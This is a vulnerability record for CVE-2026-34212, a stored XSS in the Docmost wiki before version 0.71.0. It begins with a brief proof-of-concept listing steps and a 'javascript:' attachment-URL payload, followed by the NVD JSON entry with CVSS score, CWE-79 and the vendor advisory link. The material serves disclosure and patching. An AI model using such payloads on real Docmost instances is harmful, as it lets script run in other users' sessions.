CVE-2026-34212

// PoC for CVE-2026-34212: Stored XSS via Attachment URLs // 1. Log in as a low-privileged user. // 2. Edit a page and insert an attachment. // 3. Set the attachment URL to the following payload: let payload = "javascript:alert('CVE-2026-34212 XSS Triggered');"; // If the backend does not sanitize the 'javascript:' protocol, // this payload will be stored in the database. // 4. When another user views the page and clicks the attachment icon, // the browser executes the JavaScript in the context of the victim's session. console.log("Malicious payload prepared: " + payload);

{"cve": {"id": "CVE-2026-34212", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:31.020", "lastModified": "2026-04-22T18:47:08.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docmost is open-source collaborative wiki and documentation software. In versions prior to 0.71.0, improper neutralization of attachment URLs in Docmost allows a low-privileged authenticated user to store a malicious `javascript:` URL inside an attachment node in page content. When another user views the page and activates the attachment link/icon, attacker-controlled JavaScript executes in the context of the Docmost origin. Version 0.71.0 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.71.0", "matchCriteriaId": "C7902868-D52C-43E3-B8D5-AAA13F6D8DCE"}]}]}], "references": [{"url": "https://github.com/docmost/docmost/security/advisories/GHSA-cf68-cff9-hq4w", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}